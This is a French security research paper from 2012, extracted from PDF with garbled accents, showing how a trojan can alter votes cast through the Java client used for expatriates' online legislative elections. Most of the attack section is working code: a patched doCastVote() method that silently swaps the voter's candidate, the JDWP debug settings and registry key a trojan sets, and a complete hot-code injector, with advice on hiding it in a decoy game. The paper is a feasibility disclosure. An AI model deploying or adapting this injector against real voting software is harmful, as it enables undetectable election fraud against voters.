Comment mon ordinateur a voté à ma place (et à mon insu)

Embed Size (px)

DESCRIPTION

En Mai 2012, les français résidant à l'étranger ont la possibilité de voter via Internet pour les deux tours des élections législatives. L'objectif de cet article est de montrer en quoi le système de vote utilisé est sensible à une attaque de type "homme du milieu" ("man in the middle attack"), par une injection de code; comment la réaliser dans les faits; et une démonstration d'une attaque réussie, lors d'un vote, en conditions réelles.

Citation preview

Comment mon ordinateur a vot ma place ea(et mon insu) a

Laurent [email protected]

27 mai 2012Rsum e e

En Mai 2012, les franais rsidant l'tranger ont la possibilit de c e a e e voter via Internet pour les deux tours des lections lgislatives. L'objectif e e de cet article est de montrer en quoi le systme de vote utilis est sensible e e a une attaque de type \homme du milieu" (\man in the middle attack" ), par une injection de code ; comment la raliser dans les faits ; et une e dmonstration d'une attaque russie, lors d'un vote, en conditions relles. e e e

Table des mati`res e1 2 Introduction Mise en uvre 2 3

2.1 2.2 2.3 2.4 2.5 2.6 2.73 4 5

Gnralits . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . e e e Etapes en image . . . . . . . . . . . . . . . . . . . . . . . . . . . Rcupration du programme client . . . . . . . . . . . . . . . . . e e Dcompilation et analyse du programme client . . . . . . . . . . e Modication du programme client . . . . . . . . . . . . . . . . . Modication de l'environnement d'excution de la machine virtuelle e Programme d'injection \ chaud" . . . . . . . . . . . . . . . . . . a

3 4 5 6 9 13 1517 18 19

Dmonstration e Contre-mesures Conclusion

1

1 IntroductionUne condition ncessaire |mais pas susante|, la scurit du vote par Ine a e e ternet est la ncessit d'avoir un systme able de bout en bout, tout au long de e e e la cha^ne de traitement de l'information. Cette cha^ne de traitement se compose des trois lments principaux suivants : ee { Le client : ce qui s'excute sur l'ordinateur de l'lecteur, e e { La communication entre le client et le serveur, { Le serveur : ce qui s'excute chez l'organisateur de l'lection, ou un prestataire e e priv. e La technologie utilise pour la partie cliente, dans le cadre de ces lections, est e e un programme Java, sign, tlcharg via une liaison scurise (protocole https ) e ee e e e depuis le serveur de vote, et qui s'excute travers le navigateur client, via le e a mcanisme Java web-start, dans un environnement d'excution local. Cet envie e ronnement d'excution est ce que l'on appelle une machine virtuelle Java (ou e JVM |Java Virtual Machine ), qui permet d'excuter de faon \scurise" 1 e c e e du code Java compil, aussi appel bytecode. e e

La scurit de bout en bout ncessite une conance et une ma^trise absolue du e e e systme sur lequel s'excute le programme client. Dans certains cas, l'lecteur e e e peut-^tre amen utiliser un ordinateur qu'il ne contr^le pas lui-m^me, comme e ea o e un ordinateur public ou un poste sur son lieu de travail. Ce n'est malheureusement pas le cas, de part la nature m^me des technologies utilises, et du faible e e niveau de scurit de l'ordinateur et du systme d'exploitation client. e e e L'attaque mise en uvre ici prsuppose que l'ordinateur sur lequel l'lecteur e e vote peut ^tre compromis. Par compromis, on entend qu'un programme malie cieux fonctionne l'insu de l'utilisateur, comme le font les chevaux de Troie ou a les logiciels espions. Ce programme peut-^tre install par toute personne ayant e e un accs physique la machine, ou plus simplement via le tlchargement par e a ee l'utilisateur d'un programme malicieux, dguis sous une forme anodine, comme e e par exemple un conomiseur d'cran ou un jeu. e e Pour rappel, une tude datant de 2010 montre que, sur 22 millions d'ordinateurs e analyss, prs de 48% sont infects par ce genre de programme 2 . Malheureusee e e1. nous verrons plus loin ce que \scuris" signie... e e 2. http ://zd.net/cM9btD

2

ment, la majorit des utilisateurs n'en sont pas conscient, et ne prennent pas e toutes les mesures de scurit adquates pour viter ces problmes. D'autre part, e e e e e d'un point de vue la fois dmocratique et d'organisation, on peut dicilement a e n'autoriser voter que les seuls lecteurs pouvant assurer la scurit de leur a e e e ordinateur. Pour cette tude, il a t ncessaire de choisir deux candidats d'exemple. Le e ee e choix du candidat du parti pirate est un clin d'il car ce candidat a fait part de son opposition radicale au vote lectronique. Cela ne prjuge ni de la ralit e e e e des faits, ni de choix personnels.

2 Mise en uvre2.1 Gnralits e e eL'attaque se ralise en trois tapes : e e 1. La dcompilation et l'analyse du code client utilis pour le vote, e e 2. La modication de la partie du code permettant de modier le choix de l'lecteur son insu, e a 3. L'injection du code ainsi modi dans la machine virtuelle. e Les deux premires tapes se font par l'attaquant, une fois pour toutes, sur e e n'importe quelle machine qui dispose d'un compte d'lecteur. La troisime tape e e e s'eectue par un programme install sur les ordinateurs de vote compromis. e L'utilisation de code Java nous facilite la t^che sur toutes les tapes du procesa e sus. Premirement, le bytecode Java est une reprsentation complte et trs facilee e e e ment dcompilable du code source initial. Le language Java tant un language e e rexif, l'intgralit du code source |sauf les commentaires, dont on peut se e e e passer| est prsent dans le code compil. Ceci inclut les noms de classes, les e e noms de variables, ainsi que toute la structure smantique du programme 3 . Il e est ainsi ais de reconstituer le code source initial. e En second, les machines virtuelles possdent en standard un mode de fonce tionnement spcial, dit de dbogage, o l'on ouvre un canal de communication e e u avec l'extrieur, permettant un programmeur d'inspecter et de modier le e a3. Pour ^tre tout fait prcis, il existe quelques cas rares (boucles for et while ) qui sont sure a e jectifs par rapport la transformation de compilation, dans le sens o deux structures sources a u direntes produisent le m^me bytecode. Mais ce cas n'est pas g^nant, car la smantique du e e e e code source est identique dans les deux cas.

3

comportement de ladite machine virtuelle, notamment par l'injection de nouveau bytecode \ chaud", pour une partie quelconque du programme en cours a d'excution. Cette communication utilise un protocole qui porte le nom de e JDWP (Java Debug Wire Protocol) ; l'architecture de ce mode de dbogage e porte le nom de JPDA (Java Platform Debugger Architecture). Il est ainsi ais e pour un cheval de troie de modier le code du programme de vote en cours d'excution dans la machine virtuelle. Pour ce faire il sut d'activer ce mode e spcial de dbogage sur la machine virtuelle, avant son excution. e e e

2.2 Etapes en imagePremire tape : l'attaquant dcompile et inspecte le code de vote, qu'il tlcharge e e e ee en tant qu'lecteur. e

Deuxime tape : il modie aisment une toute petite partie du code : celui e e e qui met le choix de l'utilisateur au serveur central. Ce code modie le vote de e l'utilisateur, son insu, tout en prenant garde d'acher le rsultat non modi a e e l'utilisateur. Avec le programme d'injection, tout ceci est enrob dans un a e petit programme anodin \pot de miel", par exemple un petit jeu en lien avec l'lection. e

Troisime tape : un certain nombre d'lecteurs ont tlcharg le pot de miel et e e e ee e l'ont excut. Le programme pot de miel s'installe alors en tant que programme e e non privilgi (il n'a pas besoin de privilges administrateur, ce qui permet e e e de passer sous certains radars) en attente du jour de l'lection. Le pot de miel e active le mode JPDA le jour J, le programme de vote est tlcharg par l'lecteur, ee e e l'injecteur injecte immdiatement le code corrompu via JDWP. e

4

L'lecteur vote pour le candidat A. Le code inject remplace son choix par le e e candidat B, qui est enregistr par le serveur central. Le programme peut alors e s'auto-dtruire proprement pour ne pas laisser de traces. L'ordinateur a vot e ea la place de l'lecteur, son insu ! Il est impossible de dtecter la fraude : du e a e point de vue du serveur, toute l'opration s'est passe \dans les rgles". e e e

Au cas o l'attaquant ne peut pas disposer l'avance de code de vote, il est ais u a e de procder la dcompilation et la modication du programme de vote le e a e a seul jour de l'lection : cette tape est trs rapide. Dans ce cas, le pot de miel e e e pr-install tlcharge le code injecter depuis un serveur distant, au moment e e ee a o celui-ci doit raliser l'injection. u e Suite au vote, l'lecteur reoit un rcipiss lectronique qui lui permet ensuite e c e ee de valider que son vote a bien t enregistr. Malheureusement une seconde ee e attaque identique la premire peut aisment convertir le rsultat envoy par a e e e e le serveur, an d'acher l'lecteur son choix initial, qu'il a cru eectuer. a e

2.3 Rcupration du programme client e eLa premire tape consiste rcuprer depuis le serveur du ministre des aaires e e a e e e trangres le programme (.jar) de vote. Une rapide analyse du code source de la e e page web avec l'outil de dveloppement du navigateur Chromium nous renseigne e sur l'adresse assez aisment. e

5

L'URL (adresse internet) de l'application de vote utilise est tout simplement e https ://scrutin.diplomatie.gouv.fr/portail/voting-applet.jar. On tlcharge et ee on sauvegarde le programme client pour l'tape suivante. e

2.4 Dcompilation et analyse du programme client eLe programme client n'est pas obfusqu 4 , ce qui facilite notre analyse. e On utilise pour la dcompilation le programme Java Decompiler 5 , c'est le e meilleur disponible sur le march, et il est gratuit pour toute utilisation non e4. L'obfuscation de code en Java est un mcanisme qui permet de rendre le processus de e rtro-ingnieurie plus dicile |mais jamais impossible|, en remplaant les noms de classes e e c et de variables par des squences de lettres arbitraires. Par exemple, une classe nomme e e GenerateurDeMotDePasse, une fois obfusque, pourrait ^tre renomme en Ayuw. e e e 5. http ://java.decompiler.free.fr/

6

commerciale. Le code source ainsi gnr est empaquet dans un chier zip. e ee e

An d'analyser notre aise le fonctionnement du programme client, nous crons a ee un projet Java sous Eclipse en important les sources ainsi dcompiles. Eclipse e e est un environnement de dveloppement (IDE) open-source, spcialis dans le e e e language Java 6 . Tout autre IDE ferait aussi bien l'aaire.6. http ://eclipse.org/

7

Ensuite, nous crons un prol de dbogage distant en connexion avec la JVM e e sous laquelle le programme de vote s'excute. Pour l'activation du mode de e dbogage de la JVM, Cf. section 2.6 page 13. e Il sut ensuite de lancer le programme de vote. Ci-dessous une copie d'cran de e la console de debugging jdb en connexion avec le programme de vote en cours d'excution. On peut aisment insrer des points d'arr^ts et inspecter la valeur e e e e des direntes variables. e

8

2.5 Modication du programme clientEn analysant rapidement le code source du programme, il appara^t que les classes les plus faciles modier sont celles appartenant la machine tat a a ae (state machine ) qui contr^le le droulement de l'opration de vote. Les dirents o e e e tats (une classe par tat) sont : e e { UnauthenticatedState { utilisateur non identi e { IdentiedState { utilisateur identi e { HasTokenState { utilisateur possde un jeton de vote e { HasBallotState { utilisateur ayant eectu son choix e { VoteValidatedState { utilisateur a conrm son choix e { VoteCastState { utilisateur \a vot" e Les oprations associs aux changement d'tats sont : e e e { login { identication { logout { dconnexion e { discardElection { annulation de l'lection en cours e { pickElection { choix d'une lection lors d'lections multiples e e { produceBallot { choix d'un vote pour une lection e { validateVote { validation du choix pour un vote { discardVote { annulation du vote en cours { castVote { envoit du vote au serveur pour enregistrement { nextElection { passage l'lection suivante, si possible a e La mthode qui nous intresse ici est \HasBallotState.validateVote()", qui core e respond l'tape o l'utilisateur vient de slectionner le candidat de son choix, a e u e et o l'on pourra extraire les valeurs qui nous intressent. u e Ci-dessous une premire modication du code de cette mthode, permettant e e d'acher les identiants des dirents candidats. La modication apporte afe e che l'cran la liste des identiants internes des dirents candidats, et pour a e e chacun d'entre-eux le choix eectu (oui ou non). e1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17package com . scytl . pnyx . client . state . automaton ; import com . scytl . common . domain . election . ballot . Questio nAnswer ; import com . scytl . common . domain . election . ballot . ValuedMultipleChoiceQuestionAnswer ; import com . scytl . pnyx . client . communication . connector . P r o t o c o l C o n n e c t o r ; import com . scytl . pnyx . protocol . P n y x P r o t o c o l E x c e p t i o n ; import java . util . Map ; import javax . swing . JFrame ; import javax . swing . JOptionPane ; public class H asBallo tState extends AbstractState { public HasBa llotSta te ( P r o t o c o l C o n n e c t o r connector ) { super ( connector ) ; }

9

18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43

public void validateVote ( Map < String , QuestionAnswer > vote ) throws P n y x P r o t o c o l E x c e p t i o n { /* ---- CODE INSERE ---- */ StringBuffer sb = new StringBuffer () ; for ( Map . Entry < String , QuestionAnswer > kv : vote . entrySet () ) { sb . append ( " ID ELECTION : " + kv . getKey () + " \ n " ) ; sb . append ( " REPONSES :\ n " ) ; V a l u e d M u l t i p l e C h o i c e Q u e s t i o n A n s w e r qa = ( V a l u e d M u l t i p l e C h o i c e Q u e s t i o n A n s w e r ) kv . getValue () ; Map < String , String > answers = qa . g e t A n s w e r I d V a l u e s () ; for ( Map . Entry < String , String > kv2 : answers . entrySet () ) { sb . append ( " CANDIDAT ID : " + kv2 . getKey () + " CHOIX ELECTEUR : " + kv2 . getValue () + " \ n " ) ; } } JOptionPane . s h o w M e s s a g e D i a l o g ( JFrame . getFrames () [0] , sb . toString () ) ; /* ---- FIN DU CODE INSERE ---- */ getConnector () . validateVote ( vote ) ; } public void enter () { } public void leave () { } }

-

Une fois le code inject, on obtient lors de l'excution du programme de vote e e le rsultat ci-dessous. L'identiant pour le candidat slectionn, ici le candie e e dat des verts, est \808081375acd2201375adad63d036e". Un seul candidat est slectionn, les candidats qui ne le sont pas ont pour valeur null. e e

On obtient ainsi la liste complte des identiants des dirents candidats pour e e le premier tour, ici pour la circonscription du Benelux. 10

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19

ID ELECTION : f f 8 0 8 0 8 1 3 7 5 a c d 2 2 0 1 3 7 5 a d a d 6 2 d 0 3 5 6 LE BRETON : VALENTI : DUBOST : BALAVOINE : BUFFETAUT : BOURAHLA : SEINGRY : LEDAN : CORDERY : DUVAL : CHEVALIER : MARTIN - GOMEZ : MONTCHAMP : MOHEDANO : TAITTINGER : PAILLE : * VOTE BLANC : ff808081375acd2201375adad63d0359 ff808081375acd2201375adad63d035c ff808081375acd2201375adad63d035f ff808081375acd2201375adad63d0362 ff808081375acd2201375adad63d0365 ff808081375acd2201375adad63d0368 ff808081375acd2201375adad63d036b ff808081375acd2201375adad63d036e ff808081375acd2201375adad63d0371 ff808081375acd2201375adad63d0374 ff808081375acd2201375adad63d0377 ff808081375acd2201375adad63d037a ff808081375acd2201375adad63d037d ff808081375acd2201375adad63d0380 ff808081375acd2201375adad63d0383 ff808081375acd2201375adad63d0386 ff808081375acd2201375adad63d0389

Une fois ces dirents identiants obtenus, on peut passer la seconde tape, e a e qui consiste modier le choix eectu par l'lecteur juste avant son mission a e e e sur le serveur central. Cette fois-ci on eectue la modication dans la classe de contr^le de la communication avec le serveur (MessageProtocol.java). En o eet, la modication doit s'eectuer au dernier moment, aprs l'tape de valie e dation, car sinon l'lecteur pourrait se rendre compte de la modication lors de e l'tape de validation. Ci-dessous le code avec la modication dans la mthode e e \doCastVote()", situe vers la n de la classe. e1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26package com . scytl . pnyx . client . communication . application ; import com . scytl . common . domain . MessageType ; import com . scytl . common . domain . election . Elec toralSc ope ; import com . scytl . common . domain . election . ballot . Ballot ; import com . scytl . common . domain . election . ballot . Questio nAnswer ; import com . scytl . common . domain . election . ballot . ValuedMultipleChoiceQuestionAnswer ; import com . scytl . common . url . UrlHelper ; import com . scytl . crypto . C r y p t o g r a p h i c A l g o r i t h m s ; import com . scytl . crypto . C r y p t o g r a p h i c F o r m a t s ; import com . scytl . pnyx . client . VoteReceipt ; import com . scytl . pnyx . client . communication . application . message . AuthenticationMessageDelegator ; import com . scytl . pnyx . client . communication . application . message . BallotMessage ; import com . scytl . pnyx . client . communication . application . message . CertificatesMessage ; import com . scytl . pnyx . client . communication . application . message . SecureMessageMessage ; import com . scytl . pnyx . client . communication . connector . ClientData ; import com . scytl . pnyx . client . communication . transport . P n y x C l i e n t D e s t i n a t i o n ; import com . scytl . pnyx . client . communication . transport . Transport ; import com . scytl . pnyx . client . state . LoginData ; import com . scytl . pnyx . protocol . P n y x P r o t o c o l E x c e p t i o n ; import java . net . URL ; import java . security . G e n e r a l S e c u r i t y E x c e p t i o n ; import java . security . PublicKey ; import java . security . cert . CertStore ; import java . util . Map ;

11

27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90

import javax . swing . JFrame ; import javax . swing . JOptionPane ; import org . picocontainer . C o m p on e n t M o n i t o r ; public class M e s s a g e s P r o t o c o l implements A p p l i c a t i o n P r o t o c o l { private final Transport < URL > _transport ; private final A u th en ti c at io nM e ss ag e De le ga t or < LoginData > _authenticationMessage ; private final C e r t i f i c a t e s M e s s a g e _ c e r t i f i c a t e s M e s s a g e ; private final BallotMessage _b al l ot sM e ss ag e ; private final S e c u r e M e s s a g e M e s s a g e _ s e c u r e M e s s a g e M e s s a g e ; private final PnyxClientDestination < URL > _destinations ; private final C r y p t o g r a p h i c F o r m a t s _cryp toFormat s ; private final C r y p t o g r a p h i c A l g o r i t h m s _ c r y p t o A l g o r i t h m s ; public M e s s a g e s P ro t o c o l ( Transport < URL > transport , PnyxClientDestination < URL > destinations , C r y p t o g r a p h i c F o r m a t s cryptoFormats , C r y p t o g r a p h i c A l g o r i t h m s c r y p t o Al g o r i t h m s ) throws G e n e r a l S e c u r i t y E x c e p t i o n { this . _transport = transport ; this . _destinations = destinations ; this . _cr yptoFor mats = cryptoFormats ; this . _ c r y p t o A l g o r i t h m s = c r y p t o A l g o r i t h m s ; this . _ a u t h e n t i c a t i o n M e s s a g e = new A u t h e n t i c a t i o n M e s s a g e D e l e g a t o r ( this . _cryptoAlgorithms , this . _crypt oFormat s ) ; this . _ c e r t i f i c a t e s M e s s a g e = new C e r t i f i c a t e s M e s s a g e ( this . _cryp toForma ts ) ; this . _b al l ot sM es s ag e = new BallotMessage () ; this . _ s e c u r e M e s s a g e M e s s a g e = new S e c u r e M e s s a g e M e s s a g e ( this . _ c r y p t o A l g o r i t h m s ) ; } public K e y s t o r e A nd T o k e n doAu thentica te ( LoginData loginData , Elec toralSco pe scope ) throws Ap plicatio nProtoc olExcept ion , PnyxProtocolException { String response = this . _transport . sendMessage ( this . _ a u t h e n t i c a t i o n M e s s a g e . createMessage ( loginData , scope ) , this . _destinations . g e t P n y x A u t h e n t i c a t i o n A c t i o n () ) ; return this . _ a u t h e n t i c a t i o n M e s s a g e . parseResponse ( UrlHelper . d e co d e P a r a m e t e r s ( response ) , loginData ) ; } public C o m p o n e n t Mo n i t o r d o G e t T o k e n $ 3 b 1 6 f 5 d 5 ( LoginData loginData , Elec toralSco pe scope ) throws Ap plicatio nProtoc olExcept ion , PnyxProtocolException { String response = this . _transport . sendMessage ( this . _ a u t h e n t i c a t i o n M e s s a g e . createMessage ( loginData , scope ) , this . _destinations . g e t P n y x G e t T o k e n A c t i o n () ) ; return this . _ a u t h e n t i c a t i o n M e s s a g e . parseResponse ( UrlHelper . d e co d e P a r a m e t e r s ( response ) , loginData ) . g e t T o k e n $ 4 9 2 6 2 4 1 8 () ; } public CertStore d o G e t C e r t i f i c a t e s $ 1 c 0 c d 8 e d ( C o m p o n e n t M o n i t o r token ) throws Appli cationPr otocolE xceptio n , P n y x P r o t o c o l E x c e p t i o n { String response = this . _transport . sendMessage ( this . _ c e r t i f i c a t e s M e s s a g e . c r e a t e M e s s a g e $ 4 d a a 6 1 5 3 ( token ) , this . _destinations . g e t P n y x G e t C e r t i f i c a t e s A c t i o n () ) ; return this . _ c e r t i f i c a t e s M e s s a g e . parseResponse ( response ) ; }-

-

-

12

91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133

public Ballot d o G e t B a l l o t $ 1 a b f f d f 5 ( C o m p o n e n t M o n i t o r paramComponentMonitor , PublicKey paramPublicKey , MessageType p a r a m Me s s a g e T y p e ) throws Appli cationPr otocolE xceptio n , P n y x P r o t o c o l E x c e p t i o n { String str = this . _transport . sendMessage ( this . _b al l ot sM es s ag e . c r e a t e M e s s a g e $ 5 3 a 2 7 e 3 a ( paramComponentMonitor , p a r a m M e s s a g e T y p e ) , this . _destinations . g e t P n y x G e t B a l l o t A c t i o n () ) ; return this . _ b al lo t sM es sa g e . parseResponse ( str , para mPublicK ey ) ; } public VoteReceipt doCastVote ( ClientData clientData ) throws Appli cationPr otocolE xceptio n , P n y x P r o t o c o l E x c e p t i o n { /* ---- CODE INSERE ---- */ Map < String , QuestionAnswer > vote = clientData . g e t Tr u s t e d B a l l o t () . g e t B a l l o t A n s w e r s () ; for ( Map . Entry < String , QuestionAnswer > kv : vote . entrySet () ) { V a l u e d M u l t i p l e C h o i c e Q u e s t i o n A n s w e r qa = ( V a l u e d M u l t i p l e C h o i c e Q u e s t i o n A n s w e r ) kv . getValue () ; Map < String , String > answers = qa . g e t A n s w e r I d V a l u e s () ; for ( Map . Entry < String , String > kv2 : answers . entrySet () ) { String idCandidat = kv2 . getKey () ; if ( idCandidat . equals ( " f f 8 0 8 0 8 1 3 7 5 a c d 2 2 0 1 3 7 5 a d a d 6 3 d 0 3 7 a " ) ) kv2 . setValue ( " 1 " ) ; else kv2 . setValue ( null ) ; } } /* ---- CODE OPTIONEL ( AFFICHAGE D UNE BOITE DE DIALOGUE ) ---- */ StringBuffer sb = new StringBuffer ( " DOMMAGE ! CETTE APPLICATION DE VOTE EST COMPROMISE .\ n " ) ; sb . append ( " QUELQUE - SOIT VOTRE CHOIX , VOUS ALLEZ VOTER EN REALITE POUR LE CANDIDAT PIRATE .\ n " ) ; JOptionPane . s h o w M e s s a g e D i a l o g ( JFrame . getFrames () [0] , sb . toString () ) ; /* ---- FIN DU CODE INSERE ---- */ C l i e n t D a t a M a n a g e r clientDataMgr = new C l i e n t D a t a M a n a g e r ( clientData ) ; String response = this . _transport . sendMessage ( this . _ s e c u r e M e s s a g e M e s s a g e . createMessage ( clientDataMgr ) , this . _destinations . g e t P n y x C a s t V o t e A c t i o n () ) ; return this . _ s e c u r e M e s s a g e M e s s a g e . parseResponse ( response , clientDataMgr ) ; } }

-

-

Il est bien vident que dans le cas d'un piratage rel, un attaquant prendra soin e e de ne pas ajouter le code qui ache la boite de dialogue avertissant l'lecteur e que son choix t modi ! Ici, je le rappelle, l'objectif n'est pas de pirater le aee e systme, mais de prouver la faisabilit du piratage. e e

2.6 Modication de lenvironnement dexcution de la machine virtuelle eAn de pouvoir injecter le code modi dans la JVM qui excute le programme e e de vote client, on ajoute la variable d'environnement JAVAWS VM ARGS a l'environnement de l'utilisateur en cours. Cette variable est utilise par les JVM e 13

standards pour activer le mode de dbogage (JDWP). e1JAVA WS_VM_AR GS = - Xdebug - Xrunjdwp : transport = dt_socket , server =y , suspend =n , address =6666-

La cl correspondante dans la base de registre : e1/ H K E Y _ C U R R E N T _ U S E R / Environment / JAVAW S_WS_ARG S

Les paramtres JDWP utiliss sont : e e { Communication locale via une socket, ce qui chappe tout contr^le de la e a o part du pare-feu, { Ecoute en mode serveur, et non pas client, { On ne suspend pas l'excution de la machine virtuelle en attente du client. Ce e point est important, car il ne faut pas veiller les soupons de l'utilisateur en e c ralentissant l'excution du programme de vote, dans l'attente de la connection e de l'injecteur. { Le port d'coute local choisi ici est 6666, mais n'importe quel port none privilgi peut faire l'aaire. Il est possible de choisir 0 pour laisser la machine e e virtuelle allouer un port non utilis, au prix d'une petite complexit pour e e l'injecteur de code qui devra alors scanner les dirents ports ouverts pour e dterminer celui qui correspond au protocole JDWP. e On remarquera que l'ajout d'une nouvelle variable d'environnement utilisateur ne ncessite pas de privilges administrateur, et peut se faire par n'importe quel e e programme que l'utilisateur excute lui-m^me sur sa machine. e e

14

2.7 Programme dinjection ` chaud aLe programme utilise la bibliothque tools.jar, qui ne fait pas partie des classes e standard du Java, mais qui est incluse dans tous les JRE 7 (chier lib/tools.jar). Cette bibliothque contient le code client de l'API JDWP et permet de raliser e e trs facilement l'injecteur. e L'injecteur se compose de deux classes. La premire classe contient des fonctions e utilitaires pour grer la connexion JDWP avec la JVM. La seconde classe charge e le bytecode injecter depuis un chier .class, suspend l'excution de la JVM, a e inspecte la liste des classes pr-charges, se met en coute des vvements de e e e e e type chargement de classe, et enn relance la JVM. Deux cas peuvent se prsenter : e { La classe injecter est dj charge avant la suspension de la JVM, auquel a ea e cas le nouveau code est directement inject au lancement ; e { La classe injecter n'est pas encore charge, auquel cas l'injecteur scrute pour a e chaque vnement de chargement celui correspondant la classe injecter. e e a a Lorsque celui-ci intervient, le code est inject. e Le port de connexion, le nom de la classe injecter et le code correspondant a sont, dans le cadre de cette preuve de concept, des paramtres passs en ligne de e e commande. Dans une utilisation relle, il est facile pour l'attaquant d'enrober e tout cela dans un programme indpendant. e1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28package autovote . jdpa ; import java . io . IOException ; import java . util . Map ; import import import import import import com . sun . jdi . Bootstrap ; com . sun . jdi . V irtualM achine ; com . sun . jdi . V i r t u a l M a c h i n e M a n a g e r ; com . sun . jdi . connect . A t t a c h i n g C o n n e c t o r ; com . sun . jdi . connect . Connector ; com . sun . jdi . connect . I l l e g a l C o n n e c t o r A r g u m e n t s E x c e p t i o n ;

public class VMAcquirer { public Virtu alMachi ne connect ( int port ) throws IOException , IllegalConnectorArgumentsException { String strPort = Integer . toString ( port ) ; A t t a c h i n g C o n n e c t o r connector = getConnector () ; Virt ualMach ine vm = connect ( connector , strPort ) ; return vm ; } private A t t a c h i n g C o n n e c t o r getConnector () { V i r t u a l M a c h i n e M a n a g e r vmManager = Bootstrap . v i r t u a l M a c h i n e M a n a g e r () ; for ( Connector connector : vmManager . a t t a c h i n g C o n n e c t o r s () ) { System . out . println ( connector . name () ) ; if ( " com . sun . jdi . SocketAttach " . equals ( connector . name () ) ) { return ( A t t a c h i n g C o n n e c t o r ) connector ;

-

7. JRE ou Java

Runtime Environment : environnement d'excution Java. e15

29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44

} } throw new I l l e g a l S t a t e E x c e p t i o n () ; } private Vi rtualMa chine connect ( A t t a c h i n g C o n n e c t o r connector , String port ) throws I l l e g a l C o n n e c t o r A r g u m e n t s E x c e p t i o n , IOException { Map < String , Connector . Argument > args = connector . d e f a u l t A r g u m e n t s () ; Connector . Argument arg = args . get ( " port " ) ; if ( arg == null ) throw new I l l e g a l S t a t e E x c e p t i o n () ; arg . setValue ( port ) ; return connector . attach ( args ) ; } }

-

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43

package autovote . jdpa ; import import import import import import import import import import import import import import import import import java . io . B y t e A r r a y O u t p u t S t r e a m ; java . io . F il eI n pu tS tr e am ; java . io . IOException ; java . io . InputStream ; java . util . HashMap ; java . util . List ; java . util . Map ; com . sun . jdi . ReferenceType ; com . sun . jdi . V irtualM achine ; com . sun . jdi . event . C l a s s P r e p a r e E v e n t ; com . sun . jdi . event . Event ; com . sun . jdi . event . EventQueue ; com . sun . jdi . event . EventSet ; com . sun . jdi . event . VMDeathEvent ; com . sun . jdi . event . V M D i s c o n n e c t E v e n t ; com . sun . jdi . request . C l a s s P r e p a r e R e q u e s t ; com . sun . jdi . request . E v e n t R e q u e s t M a n a g e r ;

public class Injector { Map < String , String > injections ; { injections = new HashMap < String , String >() ; injections . put ( " com . scytl . pnyx . client . state . automaton . UnauthenticatedState ", " ./ U n a u t h e n t i c a t e d S t a t e . class " ) ; injections . put ( " com . scytl . pnyx . client . state . automaton . HasBa llotSta te " , " ./ HasBall otState . class " ) ; injections . put ( " com . scytl . pnyx . client . communication . application . M e s s a g e s P r o t o c ol " , " ./ Me s s a g e s P r o t o c o l . class " ) ; } public void run () throws Exception { Virt ualMach ine vm = new VMAcquirer () . connect (6666) ; System . out . println ( " Connected . " ) ; for ( String clazz : injections . keySet () ) { List < ReferenceType > ref erenceTy pes = vm . classesByName ( clazz ) ; for ( ReferenceType refType : refe renceTy pes ) { hotc odeRepla ce ( vm , refType , loadBytecode ( injections . get ( clazz ) ) ) ; } addClassWatch ( vm , clazz ) ;

-

-

16

44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96

} vm . resume () ; EventQueue eventQueue = vm . eventQueue () ; while ( true ) { EventSet evSet = eventQueue . remove () ; for ( Event ev : evSet ) { if ( ev instanceof C l a s s P r e p a r e E v e n t ) { C l a s s P r e p a r e E v e n t clas sPrepEv ent = ( C l a s s P r e p a r e E v e n t ) ev ; ReferenceType refType = classPr epEvent . referenceType () ; hotco deRepla ce ( vm , refType , loadBytecode ( injections . get ( refType . name () ) ) ) ; } else if ( ev instanceof VMDeathEvent || ev instanceof V M D i s c o n n e c t E v e n t ) { return ; } } evSet . resume () ; } } private static void hotcodeR eplace ( Virtu alMachin e vm , ReferenceType refType , byte [] bytecode ) throws IOException { Map < ReferenceType , byte [] > hotc odeRepla ce = new HashMap < ReferenceType , byte [] >() ; hotc odeRepl ace . put ( refType , bytecode ) ; vm . r e de fi ne C la ss e s ( h otcodeR eplace ) ; System . out . println ( " Injected " + refType . name () ) ; } private static void addClassWatch ( Virtual Machine vm , String className ) { E v e n t R e q u e s t M a n a g e r erm = vm . e v e n t R e q u e s t M a n a g e r () ; C l a s s P r e p a r e R e q u e s t c l a s s P r e p a r e R e q u e s t = erm . c r e a t e C l a s s P r e p a r e R e q u e s t () ; c l a s s P r e p a r e R e q u e s t . addClas sFilter ( className ) ; c l a s s P r e p a r e R e q u e s t . setEnabled ( true ) ; } private byte [] loadBytecode ( String bytecodeFile ) throws IOException { B y t e A r r a y O u t p u t S t r e a m out = new B y t e A r r a y O u t p u t S t r e a m () ; InputStream in = getClass () . g e t R e s o u r c e A s S t r e a m ( bytecodeFile ) ; if ( in == null ) in = new Fi le I np ut S tr ea m ( " bin2 / " + bytecodeFile ) ; byte [] buf = new byte [1024]; while ( true ) { int len = in . read ( buf ) ; if ( len == -1) break ; out . write ( buf , 0 , len ) ; } in . close () ; out . close () ; return out . toByteArray () ; } }

-

-

3 Dmonstration eLa copie d'cran ci-dessous montre le programme de vote, en condition relle e e d'utilisation. Le programme a t modi en suivant la mthode propose plus ee e e e 17

haut. Le code inject ici ache simplement les identiants et mots de passe e (pin) entrs par l'utilisateur. Les valeurs aches sont des valeurs obtenues e e aprs l'application d'une fonction de hachage. e

